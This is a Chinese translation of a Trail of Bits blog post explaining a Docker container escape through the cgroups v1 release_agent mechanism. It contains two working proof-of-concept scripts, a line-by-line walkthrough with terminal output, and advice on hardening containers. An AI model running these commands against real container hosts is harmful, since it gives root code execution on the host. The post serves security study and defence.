深入解析Docker容器逃逸技术:利用cgroups漏洞实现主机权限提升

本文详细分析了利用Linux cgroups v1的notify_on_release特性实现Docker容器逃逸的技术原理,包含完整的PoC代码解析、漏洞利用条件以及容器安全加固建议,帮助开发者深入理解容器安全风险。

理解Docker容器逃逸 - Trail of Bits博客

Trail of Bits最近完成了对Kubernetes的安全评估,包括其与Docker的交互。Felix Wilhelm最近在推特上分享的概念验证(PoC)“容器逃逸”引起了我们的兴趣,因为我们进行了类似的研究,并好奇这个PoC如何影响Kubernetes。

Felix的推文展示了一个在带有--privileged标志运行的Docker容器内启动主机进程的漏洞利用。该PoC通过滥用Linux cgroup v1的“释放时通知”功能实现这一目标。

以下是启动主机上ps命令的PoC版本:

1
2
3
4
5
6
7
8
# 通过以下命令生成新容器进行利用:
# docker run --rm -it --privileged ubuntu bash

d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o; echo $t/c >$d/release_agent;printf '#!/bin/sh\nps >'"$t/o" >/c;
chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o

--privileged标志引入了严重的安全问题,该漏洞利用依赖于启用此标志启动docker容器。使用此标志时,容器具有对所有设备的完全访问权限,并且不受seccomp、AppArmor和Linux capabilities的限制。

不要使用--privileged运行容器。Docker包含独立控制容器权限的细粒度设置。根据我们的经验,这些关键的安全设置经常被遗忘。有必要了解这些选项的工作原理以保护容器安全。

在以下部分中,我们将逐步介绍这种“容器逃逸”的工作原理、它所依赖的不安全设置以及开发人员应该采取的措施。

使用此技术的需求

实际上,--privileged提供的权限远超过通过此方法逃逸docker容器所需的权限。实际上,“唯一”的要求是:

  • 我们必须在容器内以root身份运行
  • 容器必须使用SYS_ADMIN Linux capability运行
  • 容器必须没有AppArmor配置文件,或者允许mount系统调用
  • cgroup v1虚拟文件系统必须在容器内以读写方式挂载

SYS_ADMIN capability允许容器执行mount系统调用(参见man 7 capabilities)。Docker默认以受限的capabilities集合启动容器,并且由于安全风险而不启用SYS_ADMIN capability。

此外,Docker默认使用docker-default AppArmor策略启动容器,即使容器使用SYS_ADMIN运行,该策略也会阻止使用mount系统调用。

如果使用以下标志运行容器,则容易受到此技术的影响:--security-opt apparmor=unconfined --cap-add=SYS_ADMIN

使用cgroups传递漏洞利用

Linux cgroups是Docker隔离容器的机制之一。该PoC滥用cgroups v1中notify_on_release特性的功能,以完全特权的root用户身份运行漏洞利用。

当cgroup中的最后一个任务离开(通过退出或附加到另一个cgroup)时,将执行release_agent文件中提供的命令。此功能的预期用途是帮助清理废弃的cgroup。此命令在调用时在主机上以完全特权的root身份运行。

1.4 notify_on_release的作用? ———————————— 如果在cgroup中启用了notify_on_release标志(1),那么每当cgroup中的最后一个任务离开(退出或附加到其他cgroup)并且该cgroup的最后一个子cgroup被移除时,内核将运行由该层次结构根目录中“release_agent”文件内容指定的命令,提供废弃cgroup的路径名(相对于cgroup文件系统的挂载点)。这使得能够自动移除废弃的cgroup。系统启动时根cgroup中notify_on_release的默认值为禁用(0)。创建时其他cgroups的默认值是其父级notify_on_release设置的当前值。cgroup层次结构的release_agent路径的默认值为空。 – Linux Kernel关于cgroups v1的文档

改进概念验证

有一种更简单的方法来编写此漏洞利用,使其在没有--privileged标志的情况下工作。在这种情况下,我们将无法访问由--privileged提供的读写cgroup挂载。适应这种情况很容易:我们将自己以读写方式挂载cgroup。这为漏洞利用增加了一行额外的代码,但需要更少的权限。

以下漏洞利用将在主机上执行ps aux命令并将其输出保存到容器中的/output文件。它使用与原始PoC相同的release_agent特性在主机上执行。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
# 在主机上
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash

# 在容器内
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent

echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd

sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

分解概念验证

现在我们了解了使用此技术的需求并改进了概念验证漏洞利用,让我们逐行演示其工作原理。

要触发此漏洞利用,我们需要一个cgroup,可以在其中创建release_agent文件并通过杀死cgroup中的所有进程来触发release_agent调用。最简单的方法是挂载一个cgroup控制器并创建一个子cgroup。

为此,我们创建一个/tmp/cgrp目录,挂载RDMA cgroup控制器并创建一个子cgroup(在此示例中命名为“x”)。虽然尚未测试每个cgroup控制器,但此技术应与大多数cgroup控制器一起工作。

如果您在操作过程中遇到“mount: /tmp/cgrp: special device cgroup does not exist”,这是因为您的设置没有RDMA cgroup控制器。将rdma更改为memory以修复它。我们使用RDMA是因为原始PoC仅设计用于它。

请注意,cgroup控制器是全局资源,可以以不同的权限多次挂载,并且在一个挂载中所做的更改将应用于另一个挂载。

我们可以在下面看到“x”子cgroup的创建及其目录列表。

1
2
3
4
5
root@b11cf9eab4fd:/# mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
root@b11cf9eab4fd:/# ls /tmp/cgrp/
cgroup.clone_children  cgroup.procs  cgroup.sane_behavior  notify_on_release  release_agent  tasks  x
root@b11cf9eab4fd:/# ls /tmp/cgrp/x
cgroup.clone_children  cgroup.procs  notify_on_release  rdma.current  rdma.max  tasks

接下来,我们通过向其notify_on_release文件写入1来启用“x”cgroup释放时的cgroup通知。我们还通过将主机上的/cmd脚本路径写入release_agent文件来设置RDMA cgroup释放代理以执行/cmd脚本——我们稍后将在容器中创建该脚本。为此,我们将从/etc/mtab文件中获取容器在主机上的路径。

我们在容器中添加或修改的文件存在于主机上,并且可以从两个世界修改它们:容器中的路径和它们在主机上的路径。

这些操作可以在下面看到:

1
2
3
root@b11cf9eab4fd:/# echo 1 > /tmp/cgrp/x/notify_on_release
root@b11cf9eab4fd:/# host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
root@b11cf9eab4fd:/# echo "$host_path/cmd" > /tmp/cgrp/release_agent

注意/cmd脚本的路径,我们将在主机上创建它:

1
2
root@b11cf9eab4fd:/# cat /tmp/cgrp/release_agent
/var/lib/docker/overlay2/7f4175c90af7c54c878ffc6726dcb125c416198a2955c70e186bf6a127c5622f/diff/cmd

现在,我们创建/cmd脚本,使其执行ps aux命令并将其输出保存到容器中的/output,通过指定主机上输出文件的完整路径。最后,我们还打印/cmd脚本以查看其内容:

1
2
3
4
5
6
root@b11cf9eab4fd:/# echo '#!/bin/sh' > /cmd
root@b11cf9eab4fd:/# echo "ps aux > $host_path/output" >> /cmd
root@b11cf9eab4fd:/# chmod a+x /cmd
root@b11cf9eab4fd:/# cat /cmd
#!/bin/sh
ps aux > /var/lib/docker/overlay2/7f4175c90af7c54c878ffc6726dcb125c416198a2955c70e186bf6a127c5622f/diff/output

最后,我们可以通过在“x”子cgroup内生成一个立即结束的进程来执行攻击。通过创建/bin/sh进程并将其PID写入“x”子cgroup目录中的cgroup.procs文件,主机上的脚本将在/bin/sh退出后执行。然后在主机上执行的ps aux的输出保存到容器内的/output文件:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
root@b11cf9eab4fd:/# sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
root@b11cf9eab4fd:/# head /output
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.1  1.0  17564 10288 ?        Ss   13:57   0:01 /sbin/init
root         2  0.0  0.0      0     0 ?        S    13:57   0:00 [kthreadd]
root         3  0.0  0.0      0     0 ?        I<   13:57   0:00 [rcu_gp]
root         4  0.0  0.0      0     0 ?        I<   13:57   0:00 [rcu_par_gp]
root         6  0.0  0.0      0     0 ?        I<   13:57   0:00 [kworker/0:0H-kblockd]
root         8  0.0  0.0      0     0 ?        I<   13:57   0:00 [mm_percpu_wq]
root         9  0.0  0.0      0     0 ?        S    13:57   0:00 [ksoftirqd/0]
root        10  0.0  0.0      0     0 ?        I    13:57   0:00 [rcu_sched]
root        11  0.0  0.0      0     0 ?        S    13:57   0:00 [migration/0]

安全使用容器

Docker默认限制和约束容器。放松这些限制可能会产生安全问题,即使没有--privileged标志的全部功能。重要的是要承认每个额外权限的影响,并将整体权限限制到所需的最小限度。

为了帮助保持容器安全:

  • 不要使用--privileged标志或在容器内挂载Docker套接字。docker套接字允许生成容器,因此它是完全控制主机的简单方法,例如,通过使用--privileged标志运行另一个容器。
  • 不要在容器内以root身份运行。使用不同的用户或用户命名空间。除非使用用户命名空间重新映射,否则容器中的root与主机上的root相同。它仅受到Linux命名空间、capabilities和cgroups的轻度限制。
  • 丢弃所有capabilities(--cap-drop=all)并仅启用那些必需的(--cap-add=...)。许多工作负载不需要任何capabilities,添加它们会增加潜在攻击的范围。
  • 使用“no-new-privileges”安全选项以防止进程获得更多权限,例如通过suid二进制文件。
  • 限制容器可用的资源。资源限制可以保护机器免受拒绝服务攻击。
  • 调整seccomp、AppArmor(或SELinux)配置文件,将容器可用的操作和系统调用限制到所需的最小限度。
  • 使用官方docker镜像或基于它们构建自己的镜像。不要继承或使用后门镜像。
  • 定期重建镜像以应用安全补丁。这不用说。

如果您希望对我们组织的关键基础设施进行二次检查,Trail of Bits很乐意提供帮助。联系我们并打个招呼!

如果您喜欢这篇文章,请分享: Twitter LinkedIn GitHub Mastodon Hacker News

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计